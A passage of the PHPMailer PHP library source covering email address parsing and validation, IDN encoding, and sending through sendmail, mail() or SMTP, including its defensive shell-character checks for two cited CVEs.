                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
